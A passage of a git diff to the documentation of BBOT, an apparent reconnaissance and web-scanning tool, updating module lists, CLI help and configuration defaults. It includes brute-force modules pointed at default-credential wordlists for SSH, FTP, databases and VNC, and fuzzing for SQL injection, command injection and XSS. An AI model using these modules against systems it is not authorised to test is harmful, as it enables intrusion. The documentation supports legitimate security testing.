+ "source": 152, + "target": 3, + "type": "consumes" + }, + { + "source": 4, + "target": 152, "type": "produces" }, { - "source": 151, - "target": 73, + "source": 153, + "target": 3, "type": "consumes" }, { - "source": 152, - "target": 4, - "type": "consumes" + "source": 17, + "target": 153, + "type": "produces" }, { - "source": 152, - "target": 5, + "source": 154, + "target": 7, "type": "consumes" }, { - "source": 152, + "source": 154, "target": 3, "type": "consumes" }, { - "source": 153, - "target": 3, - "type": "consumes" + "source": 7, + "target": 154, + "type": "produces" }, { - "source": 20, - "target": 153, + "source": 4, + "target": 154, "type": "produces" }, { - "source": 154, - "target": 97, - "type": "consumes" + "source": 2, + "target": 154, + "type": "produces" }, { "source": 20, "target": 154, "type": "produces" }, + { + "source": 74, + "target": 154, + "type": "produces" + }, { "source": 155, - "target": 2, + "target": 74, "type": "consumes" }, { - "source": 155, + "source": 156, + "target": 4, + "type": "consumes" + }, + { + "source": 156, "target": 5, "type": "consumes" }, { - "source": 4, - "target": 155, - "type": "produces" + "source": 156, + "target": 3, + "type": "consumes" }, { - "source": 5, - "target": 155, + "source": 157, + "target": 3, + "type": "consumes" + }, + { + "source": 20, + "target": 157, "type": "produces" }, + { + "source": 158, + "target": 98, + "type": "consumes" + }, { "source": 20, - "target": 155, + "target": 158, "type": "produces" } ] \ No newline at end of file diff --git a/docs/modules/list_of_modules.md b/docs/modules/list_of_modules.md index 520856ac03..7c71adaf4b 100644 --- a/docs/modules/list_of_modules.md +++ b/docs/modules/list_of_modules.md @@ -50,10 +50,11 @@ | sslcert | scan | No | Extract hostnames and emails from TLS certificates in HTTP responses | active, affiliates, email-enum, safe, subdomain-enum, web | HTTP_RESPONSE | DNS_NAME, EMAIL_ADDRESS | @TheTechromancer | 2022-03-30 | | telerik | scan | No | Scan for critical Telerik vulnerabilities | active, invasive, loud, web-heavy | HTTP_RESPONSE, URL | FINDING | @liquidsec | 2022-04-10 | | url_manipulation | scan | No | Attempt to identify URL parsing/routing based vulnerabilities | active, loud, web-heavy | URL | FINDING | @liquidsec | 2022-09-27 | +| virtualhost | scan | No | Fuzz for virtual hosts | active, loud, slow | URL | DNS_NAME_UNVERIFIED, HTTP_RESPONSE, VIRTUAL_HOST | @liquidsec | 2022-05-02 | +| waf_bypass | scan | No | Detects potential WAF bypasses | active, safe, web-heavy | URL | FINDING | @liquidsec | 2025-09-26 | | wafw00f | scan | No | Web Application Firewall Fingerprinting Tool | active, loud | URL | WAF | @liquidsec | 2023-02-15 | | webbrute | scan | No | A fast web fuzzer powered by blasthttp | active, loud | URL | URL_UNVERIFIED | @liquidsec | 2022-04-10 | | webbrute_shortnames | scan | No | Brute-force IIS shortnames using ML-predicted wordlists | active, iis-shortnames, loud, web-heavy | URL_HINT | URL_UNVERIFIED | @liquidsec | 2022-07-05 | -| wpscan | scan | No | Wordpress security scanner. Highly recommended to use an API key for better results. | active, loud | HTTP_RESPONSE, TECHNOLOGY | FINDING, TECHNOLOGY, URL_UNVERIFIED | @domwhewell-sage | 2024-05-29 | | affiliates | scan | No | Summarize affiliate domains at the end of a scan | affiliates, passive, safe | * | | @TheTechromancer | 2022-07-25 | | anubisdb | scan | No | Query anubisdb.com for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-10-04 | | apkpure | scan | No | Download android applications from apkpure.com | code-enum, download, passive, safe | MOBILE_APP | FILESYSTEM | @domwhewell-sage | 2024-10-11 | @@ -117,7 +118,7 @@ | urlscan | scan | No | Query urlscan.io for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, URL_UNVERIFIED | @TheTechromancer | 2022-06-09 | | viewdns | scan | No | Query viewdns.info's reverse whois for related domains | affiliates, passive, safe | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-04 | | virustotal | scan | Yes | Query VirusTotal's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-25 | -| wayback | scan | No | Query archive.org's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, URL_UNVERIFIED | @liquidsec | 2022-04-01 | +| wayback | scan | No | Query archive.org's Wayback Machine for subdomains, URLs, parameters, and archived content | passive, safe, subdomain-enum | DNS_NAME, URL | DNS_NAME, FINDING, HTTP_RESPONSE, URL_UNVERIFIED, WEB_PARAMETER | @liquidsec | 2022-04-01 | | asset_inventory | output | No | Merge hosts, open ports, technologies, findings, etc. into a single asset inventory CSV | | DNS_NAME, FINDING, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, TECHNOLOGY, URL, WAF | IP_ADDRESS, OPEN_TCP_PORT | @liquidsec | 2022-09-30 | | csv | output | No | Output to CSV | | * | | @TheTechromancer | 2022-04-07 | | discord | output | No | Message a Discord channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | @@ -131,7 +132,6 @@ | neo4j | output | No | Output to Neo4j | | * | | @TheTechromancer | 2022-04-07 | | nmap_xml | output | No | Output to Nmap XML | | DNS_NAME, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, PROTOCOL | | @TheTechromancer | 2024-11-16 | | postgres | output | No | Output scan data to a SQLite database | | * | | @TheTechromancer | 2024-11-08 | -| python | output | No | Output via Python API | | * | | @TheTechromancer | 2022-09-13 | | rabbitmq | output | No | Output scan data to a RabbitMQ queue | | * | | @TheTechromancer | 2024-11-22 | | slack | output | No | Message a Slack channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | | splunk | output | No | Send every event to a splunk instance through HTTP Event Collector | | * | | @w0Tx | 2024-02-17 | @@ -146,7 +146,8 @@ | websocket | output | No | Output to websockets | | * | | @TheTechromancer | 2022-04-15 | | zeromq | output | No | Output scan data to a ZeroMQ socket (PUB) | | * | | @TheTechromancer | 2024-11-22 | | cloudcheck | internal | No | Tag events by cloud provider, identify cloud resources like storage buckets | | * | | @TheTechromancer | 2024-07-07 | -| dnsresolve | internal | No | Perform DNS resolution | | * | DNS_NAME, IP_ADDRESS, RAW_DNS_RECORD | @TheTechromancer | 2022-04-08 | +| dnsresolve | internal | No | Perform DNS resolution | | * | DNS_NAME, IP_ADDRESS, IP_RANGE, RAW_DNS_RECORD | @TheTechromancer | 2022-04-08 | +| python | internal | No | Output via Python API | | * | | @TheTechromancer | 2022-09-13 | | aggregate | internal | No | Summarize statistics at the end of a scan | passive, safe | | | @TheTechromancer | 2022-07-25 | | excavate | internal | No | Passively extract juicy tidbits from scan data | passive, safe | HTTP_RESPONSE, RAW_TEXT | URL_UNVERIFIED, WEB_PARAMETER | @liquidsec | 2022-06-27 | | speculate | internal | No | Derive certain event types from others by common sense | passive, safe | AZURE_TENANT, DNS_NAME, DNS_NAME_UNRESOLVED, HTTP_RESPONSE, IP_ADDRESS, IP_RANGE, SOCIAL, STORAGE_BUCKET, URL, URL_UNVERIFIED, USERNAME | DNS_NAME, FINDING, IP_ADDRESS, OPEN_TCP_PORT, ORG_STUB | @liquidsec | 2022-05-03 | diff --git a/docs/modules/nuclei.md b/docs/modules/nuclei.md index aefc4e1d4f..c51e041067 100644 --- a/docs/modules/nuclei.md +++ b/docs/modules/nuclei.md @@ -36,22 +36,22 @@ modules: The Nuclei module has many configuration options: -| Config Option | Type | Description | Default | -|-------------------------------|--------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------| -| modules.nuclei.batch_size | int | Number of targets to send to Nuclei per batch (default 200) | 200 | -| modules.nuclei.budget | int | Used in budget mode to set the number of allowed requests per host | 1 | -| modules.nuclei.concurrency | int | maximum number of templates to be executed in parallel (default 25) | 25 | -| modules.nuclei.directory_only | bool | Filter out 'file' URL event (default True) | True | -| modules.nuclei.etags | str | tags to exclude from the scan | | -| modules.nuclei.mode | str | manual | technology | severe | budget. Technology: Only activate based on technology events that match nuclei tags (nuclei -as mode). Manual (DEFAULT): Fully manual settings. Severe: Only critical and high severity templates without intrusive. Budget: Limit Nuclei to a specified number of HTTP requests | manual | -| modules.nuclei.module_timeout | int | Max time in seconds to spend handling each batch of events | 21600 | -| modules.nuclei.ratelimit | int | maximum number of requests to send per second (default 150) | 150 | -| modules.nuclei.retries | int | number of times to retry a failed request (default 0) | 0 | -| modules.nuclei.severity | str | Filter based on severity field available in the template. | | -| modules.nuclei.silent | bool | Don't display nuclei's banner or status messages | False | -| modules.nuclei.tags | str | execute a subset of templates that contain the provided tags | | -| modules.nuclei.templates | str | template or template directory paths to include in the scan | | -| modules.nuclei.version | str | nuclei version | 3.8.0 | +| Config Option | Type | Description | Default | +|-------------------------------|-----------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------| +| modules.nuclei.batch_size | int | Number of targets to send to Nuclei per batch (default 200) | 200 | +| modules.nuclei.budget | int | Used in budget mode to set the number of allowed requests per host | 1 | +| modules.nuclei.concurrency | int | maximum number of templates to be executed in parallel (default 25) | 25 | +| modules.nuclei.directory_only | bool | Filter out 'file' URL event (default True) | True | +| modules.nuclei.etags | str | tags to exclude from the scan | | +| modules.nuclei.mode | Literal['manual', 'technology', 'severe', 'budget'] | manual | technology | severe | budget. Technology: Only activate based on technology events that match nuclei tags (nuclei -as mode). Manual (DEFAULT): Fully manual settings. Severe: Only critical and high severity templates without intrusive. Budget: Limit Nuclei to a specified number of HTTP requests | manual | +| modules.nuclei.module_timeout | int | Max time in seconds to spend handling each batch of events | 21600 | +| modules.nuclei.ratelimit | int | maximum number of requests to send per second (default 150) | 150 | +| modules.nuclei.retries | int | number of times to retry a failed request (default 0) | 0 | +| modules.nuclei.severity | str | Filter based on severity field available in the template. | | +| modules.nuclei.silent | bool | Don't display nuclei's banner or status messages | False | +| modules.nuclei.tags | str | execute a subset of templates that contain the provided tags | | +| modules.nuclei.templates | str | template or template directory paths to include in the scan | | +| modules.nuclei.version | str | nuclei version | 3.9.0 | Most of these you probably will **NOT** want to change. In particular, we advise against changing the version of Nuclei, as it's possible the latest version won't work right with BBOT. diff --git a/docs/scanning/advanced.md b/docs/scanning/advanced.md index 3aa08c9ad2..7f8dd9c089 100644 --- a/docs/scanning/advanced.md +++ b/docs/scanning/advanced.md @@ -40,10 +40,12 @@ usage: bbot [-h] [-t TARGET [TARGET ...]] [-s SEEDS [SEEDS ...]] [-ef FLAG [FLAG ...]] [-n SCAN_NAME] [-v] [-d] [-S] [--force] [-y] [--fast-mode] [--dry-run] [--current-preset] [--current-preset-full] [-mh MODULE] [-o DIR] - [-om MODULE [MODULE ...]] [-lo] [--json] [--brief] [--no-color] + [-om MODULE [MODULE ...]] [-eom MODULE [MODULE ...]] [-lo] + [--json] [--brief] [--no-color] [--event-types EVENT_TYPES [EVENT_TYPES ...]] [--exclude-cdn] - [--no-deps | --force-deps | --retry-deps | --ignore-failed-deps] - [--install-all-deps] [--version] [--proxy HTTP_PROXY] + [--no-deps | --force-deps | --retry-deps | + --ignore-failed-deps] [--install-all-deps] [--version] + [--reset-config] [--reset-secrets] [--proxy HTTP_PROXY] [--no-proxy HOST [HOST ...]] [-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] [-C CUSTOM_COOKIES [CUSTOM_COOKIES ...]] @@ -56,40 +58,39 @@ options: -h, --help show this help message and exit Target: - -t TARGET [TARGET ...], --targets TARGET [TARGET ...] + -t, --targets TARGET [TARGET ...] Target scope - -s SEEDS [SEEDS ...], --seeds SEEDS [SEEDS ...] + -s, --seeds SEEDS [SEEDS ...] Define seeds to drive passive modules without being in scope (if not specified, defaults to same as targets) - -b BLACKLIST [BLACKLIST ...], --blacklist BLACKLIST [BLACKLIST ...] + -b, --blacklist BLACKLIST [BLACKLIST ...] Don't touch these things --strict-scope Don't consider subdomains of target to be in-scope - exact matches only Presets: - -p [PRESET ...], --preset [PRESET ...] + -p, --preset [PRESET ...] Enable BBOT preset(s) - -c [CONFIG ...], --config [CONFIG ...] + -c, --config [CONFIG ...] Custom config options in key=value format: e.g. 'modules.shodan.api_key=1234' -lp, --list-presets List available presets. Modules: - -m MODULE [MODULE ...], --modules MODULE [MODULE ...] - Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_hetzner,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,http,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,kreuzberg,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_enterprise,shodan_idb,skymem,social,sslcert,subdomaincenter,subdomainradar,telerik,trajan,trickest,trufflehog,url_manipulation,urlscan,viewdns,virustotal,wafw00f,wayback,webbrute,webbrute_shortnames,wpscan + -m, --modules MODULE [MODULE ...] + Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_hetzner,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,http,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,kreuzberg,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_enterprise,shodan_idb,skymem,social,sslcert,subdomaincenter,subdomainradar,telerik,trajan,trickest,trufflehog,url_manipulation,urlscan,viewdns,virtualhost,virustotal,waf_bypass,wafw00f,wayback,webbrute,webbrute_shortnames -l, --list-modules List available modules. -lmo, --list-module-options Show all module config options - -em MODULE [MODULE ...], --exclude-modules MODULE [MODULE ...] + -em, --exclude-modules MODULE [MODULE ...] Exclude these modules. - -f FLAG [FLAG ...], --flags FLAG [FLAG ...] + -f, --flags FLAG [FLAG ...] Enable modules by flag. Choices: active,affiliates,baddns,cloud-enum,code-enum,download,email-enum,iis-shortnames,invasive,loud,passive,portscan,safe,service-enum,slow,social-enum,subdomain-enum,subdomain-hijack,web,web-heavy,web-paramminer,web-screenshots -lf, --list-flags List available flags. - -rf FLAG [FLAG ...], --require-flags FLAG [FLAG ...] + -rf, --require-flags FLAG [FLAG ...] Only enable modules with these flags (e.g. -rf passive) - -ef FLAG [FLAG ...], --exclude-flags FLAG [FLAG ...] + -ef, --exclude-flags FLAG [FLAG ...] Disable modules with these flags. (e.g. -ef loud) Scan: - -n SCAN_NAME, --name SCAN_NAME - Name of scan (default: random) + -n, --name SCAN_NAME Name of scan (default: random) -v, --verbose Be more verbose -d, --debug Enable debugging -S, --silent Be quiet @@ -100,14 +101,15 @@ Scan: --current-preset Show the current preset in YAML format --current-preset-full Show the current preset in its full form, including defaults - -mh MODULE, --module-help MODULE + -mh, --module-help MODULE Show help for a specific module Output: - -o DIR, --output-dir DIR - Directory to output scan results - -om MODULE [MODULE ...], --output-modules MODULE [MODULE ...] - Output module(s). Choices: asset_inventory,csv,discord,elastic,emails,json,kafka,mongo,mysql,nats,neo4j,nmap_xml,postgres,python,rabbitmq,slack,splunk,sqlite,stdout,subdomains,teams,txt,web_parameters,web_report,webhook,websocket,zeromq + -o, --output-dir DIR Directory to output scan results + -om, --output-modules MODULE [MODULE ...] + Add output module(s). Choices: asset_inventory,csv,discord,elastic,emails,json,kafka,mongo,mysql,nats,neo4j,nmap_xml,postgres,rabbitmq,slack,splunk,sqlite,stdout,subdomains,teams,txt,web_parameters,web_report,webhook,websocket,zeromq + -eom, --exclude-output-modules MODULE [MODULE ...] + Exclude output module(s) -lo, --list-output-modules List available output modules --json, -j Output scan data in JSON format @@ -128,18 +130,20 @@ Module dependencies: Misc: --version show BBOT version and exit + --reset-config Regenerate bbot.yml from current defaults (overwrites; backs up to .bak) + --reset-secrets Regenerate secrets.yml from current defaults (overwrites; backs up to .bak) --proxy HTTP_PROXY Use this proxy for all HTTP requests --no-proxy HOST [HOST ...] Exclude these hosts from proxy (e.g. localhost *.internal.corp 10.0.0.0/8) - -H CUSTOM_HEADERS [CUSTOM_HEADERS ...], --custom-headers CUSTOM_HEADERS [CUSTOM_HEADERS ...] + -H, --custom-headers CUSTOM_HEADERS [CUSTOM_HEADERS ...] List of custom headers as key value pairs (header=value). - -C CUSTOM_COOKIES [CUSTOM_COOKIES ...], --custom-cookies CUSTOM_COOKIES [CUSTOM_COOKIES ...] + -C, --custom-cookies CUSTOM_COOKIES [CUSTOM_COOKIES ...] List of custom cookies as key value pairs (cookie=value). - --custom-yara-rules CUSTOM_YARA_RULES, -cy CUSTOM_YARA_RULES + --custom-yara-rules, -cy CUSTOM_YARA_RULES Add custom yara rules to excavate - --user-agent USER_AGENT, -ua USER_AGENT + --user-agent, -ua USER_AGENT Set the user-agent for all HTTP requests - --user-agent-suffix SUFFIX, -uas SUFFIX + --user-agent-suffix, -uas SUFFIX Suffix to append to the user-agent EXAMPLES diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index 6bdacb6db3..6c42a0ab39 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -78,6 +78,8 @@ status_frequency: 15 # that scales linearly from 0s at the threshold up to 5s at threshold+5 (capped at 95%). # Last-ditch effort to give the pipeline a chance to drain before OOM. max_mem_percent: 90 +# Redact secrets (API keys, tokens, etc.) in the saved preset.yml +redact_secrets: true # Include the raw data of files (i.e. PDFs, web screenshots) as base64 in the event file_blobs: false # Include the raw data of directories (i.e. git repos) as tar.gz base64 in the event @@ -241,6 +243,8 @@ aggregate: True dnsresolve: True # Cloud provider tagging cloudcheck: True +# Python API event bridge +python: True # Strip querystring from URLs by default url_querystring_remove: True @@ -342,12 +346,29 @@ parameter_blacklist: - PHPSESSID - sessionid - csrftoken + - XSRF-TOKEN - __cf_bm + - _cfuvid - cf_clearance - _abck - bm_sz + - bm_sv - ak_bmsc - f5_cspm + # CSRF / Anti-Forgery tokens + - authenticity_token + - csrfmiddlewaretoken + - __RequestVerificationToken + - antiforgerytoken + - __csrf_magic + - _wpnonce + # ASP.NET session/identity cookies + - .ASPXANONYMOUS + - .ASPXAUTH + # PKCE (Proof Key for Code Exchange) + - code_verifier + - code_challenge + # Analytics - _ga - _gid - _gat @@ -366,6 +387,7 @@ parameter_blacklist_prefixes: - f5avr - incap_ - visid_incap_ + - nlbi_ - AWSALB - utm_ - ApplicationGatewayAffinity @@ -374,6 +396,7 @@ parameter_blacklist_prefixes: - _hjSession - _gat_ - intercom- + - OAMRequestContext_ # Don't output these types of events (they are still distributed to modules) omit_event_types: @@ -416,324 +439,337 @@ In addition to the stated options for each module, the following universal optio ### Module Options -| Config Option | Type | Description | Default | -|-----------------------------------------------------|----------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| modules.baddns.custom_nameservers | list | Force BadDNS to use a list of custom nameservers | [] | -| modules.baddns.enabled_submodules | list | A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only | [] | -| modules.baddns.min_confidence | str | Minimum confidence to emit | MEDIUM | -| modules.baddns.min_severity | str | Minimum severity to emit | LOW | -| modules.baddns_direct.custom_nameservers | list | Force BadDNS to use a list of custom nameservers | [] | -| modules.baddns_direct.min_confidence | str | Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED) | MEDIUM | -| modules.baddns_direct.min_severity | str | Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL) | LOW | -| modules.baddns_zone.custom_nameservers | list | Force BadDNS to use a list of custom nameservers | [] | -| modules.baddns_zone.min_confidence | str | Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED) | MEDIUM | -| modules.baddns_zone.min_severity | str | Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL) | INFO | -| modules.badsecrets.custom_secrets | NoneType | Include custom secrets loaded from a local file | None | -| modules.bucket_amazon.permutations | bool | Whether to try permutations | False | -| modules.bucket_digitalocean.permutations | bool | Whether to try permutations | False | -| modules.bucket_firebase.permutations | bool | Whether to try permutations | False | -| modules.bucket_google.permutations | bool | Whether to try permutations | False | -| modules.bucket_hetzner.permutations | bool | Whether to try permutations | False | -| modules.bucket_microsoft.permutations | bool | Whether to try permutations | False | -| modules.dnsbrute.max_depth | int | How many subdomains deep to brute force, i.e. 5.4.3.2.1.evilcorp.com | 5 | -| modules.dnsbrute.recursive_mutations | bool | If True, brute-force hosts discovered by dnsbrute_mutations. The default (False) skips them because the static wordlist heavily overlaps with the mutation algorithm's own output. | False | -| modules.dnsbrute.wordlist | str | Subdomain wordlist URL or file path. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt | -| modules.dnsbrute_mutations.max_mutations | int | Maximum number of target-specific mutations to try per subdomain | 100 | -| modules.dnscommonsrv.max_depth | int | The maximum subdomain depth to brute-force SRV records | 2 | -| modules.dnscommonsrv.recursive_mutations | bool | If True, brute-force SRV records on hosts discovered by dnsbrute_mutations. Default False skips them. | False | -| modules.filedownload.extensions | list | File extensions to download | ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'] | -| modules.filedownload.max_filesize | str | Cancel download if filesize is greater than this size | 10MB | -| modules.filedownload.output_folder | str | Folder to download files to. If not specified, downloaded files will be deleted when the scan completes, to minimize disk usage. | | -| modules.fingerprintx.skip_common_web | bool | Skip common web ports such as 80, 443, 8080, 8443, etc. | True | -| modules.fingerprintx.version | str | fingerprintx version | 1.1.4 | -| modules.generic_ssrf.skip_dns_interaction | bool | Do not report DNS interactions (only HTTP interaction) | False | -| modules.gitlab_com.api_key | str | GitLab access token (for gitlab.com/org only) | | -| modules.gitlab_onprem.api_key | str | GitLab access token (for self-hosted instances only) | | -| modules.gowitness.chrome_path | str | Path to chrome executable | | -| modules.gowitness.idle_timeout | int | Skip the current gowitness batch if it stalls for longer than this many seconds | 1800 | -| modules.gowitness.output_path | str | Where to save screenshots | | -| modules.gowitness.resolution_x | int | Screenshot resolution x | 1440 | -| modules.gowitness.resolution_y | int | Screenshot resolution y | 900 | -| modules.gowitness.social | bool | Whether to screenshot social media webpages | False | -| modules.gowitness.threads | int | How many gowitness threads to spawn (default is number of CPUs x 2) | 0 | -| modules.gowitness.timeout | int | Preflight check timeout | 10 | -| modules.gowitness.version | str | Gowitness version | 3.1.1 | -| modules.graphql_introspection.graphql_endpoint_urls | list | List of GraphQL endpoint to suffix to the target URL | ['/', '/graphql', '/v1/graphql'] | -| modules.graphql_introspection.output_folder | str | Folder to save the GraphQL schemas to | | -| modules.http.in_scope_only | bool | Only visit web resources that are in scope. | True | -| modules.http.max_response_size | int | Max response size in bytes | 5242880 | -| modules.http.store_responses | bool | Save raw HTTP responses to scan folder | False | -| modules.http.threads | int | Number of concurrent requests | 50 | -| modules.iis_shortnames.detect_only | bool | Only detect the vulnerability and do not run the shortname scanner | True | -| modules.iis_shortnames.max_node_count | int | Limit how many nodes to attempt to resolve on any given recursion branch | 50 | -| modules.iis_shortnames.speculate_magic_urls | bool | Attempt to discover iis 'magic' special folders | True | -| modules.legba.concurrency | int | Number of concurrent workers, gets overridden for SSH | 3 | -| modules.legba.ftp_wordlist | str | Wordlist for FTP combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt | -| modules.legba.mssql_wordlist | str | Wordlist for MSSQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt | -| modules.legba.mysql_wordlist | str | Wordlist for MySQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt | -| modules.legba.postgresql_wordlist | str | Wordlist for PostgreSQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt | -| modules.legba.rate_limit | int | Limit the number of requests per second, gets overridden for SSH | 3 | -| modules.legba.ssh_wordlist | str | Wordlist for SSH combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt | -| modules.legba.telnet_wordlist | str | Wordlist for TELNET combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt | -| modules.legba.version | str | legba version | 1.1.1 | -| modules.legba.vnc_wordlist | str | Wordlist for VNC passwords, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt | -| modules.lightfuzz.avoid_wafs | bool | Avoid running against confirmed WAFs, which are likely to block lightfuzz requests | True | -| modules.lightfuzz.disable_post | bool | Disable processing of POST parameters, avoiding form submissions. | False | -| modules.lightfuzz.enabled_submodules | list | A list of submodules to enable. Empty list enabled all modules. | ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi', 'ssrf'] | -| modules.lightfuzz.force_common_headers | bool | Force emit commonly exploitable parameters that may be difficult to detect | False | -| modules.lightfuzz.try_get_as_post | bool | For each GETPARAM, also fuzz it as a POSTPARAM (in addition to normal GET fuzzing). | False | -| modules.lightfuzz.try_post_as_get | bool | For each POSTPARAM, also fuzz it as a GETPARAM (in addition to normal POST fuzzing). | False | -| modules.medusa.snmp_versions | list | List of SNMP versions to attempt against the SNMP server (default ['1', '2C']) | ['1', '2C'] | -| modules.medusa.snmp_wordlist | str | Wordlist url for SNMP community strings, newline separated (default https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/snmp.txt). Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt | -| modules.medusa.threads | int | Number of communities to be tested concurrently (default 5) | 5 | -| modules.medusa.timeout_s | int | Wait time for the SNMP response(s) once at the end of all attempts (default 5) | 5 | -| modules.medusa.wait_microseconds | int | Wait time after every SNMP request in microseconds (default 200) | 200 | -| modules.ntlm.try_all | bool | Try every NTLM endpoint | False | -| modules.nuclei.batch_size | int | Number of targets to send to Nuclei per batch (default 200) | 200 | -| modules.nuclei.budget | int | Used in budget mode to set the number of allowed requests per host | 1 | -| modules.nuclei.concurrency | int | maximum number of templates to be executed in parallel (default 25) | 25 | -| modules.nuclei.directory_only | bool | Filter out 'file' URL event (default True) | True | -| modules.nuclei.etags | str | tags to exclude from the scan | | -| modules.nuclei.mode | str | manual | technology | severe | budget. Technology: Only activate based on technology events that match nuclei tags (nuclei -as mode). Manual (DEFAULT): Fully manual settings. Severe: Only critical and high severity templates without intrusive. Budget: Limit Nuclei to a specified number of HTTP requests | manual | -| modules.nuclei.module_timeout | int | Max time in seconds to spend handling each batch of events | 21600 | -| modules.nuclei.ratelimit | int | maximum number of requests to send per second (default 150) 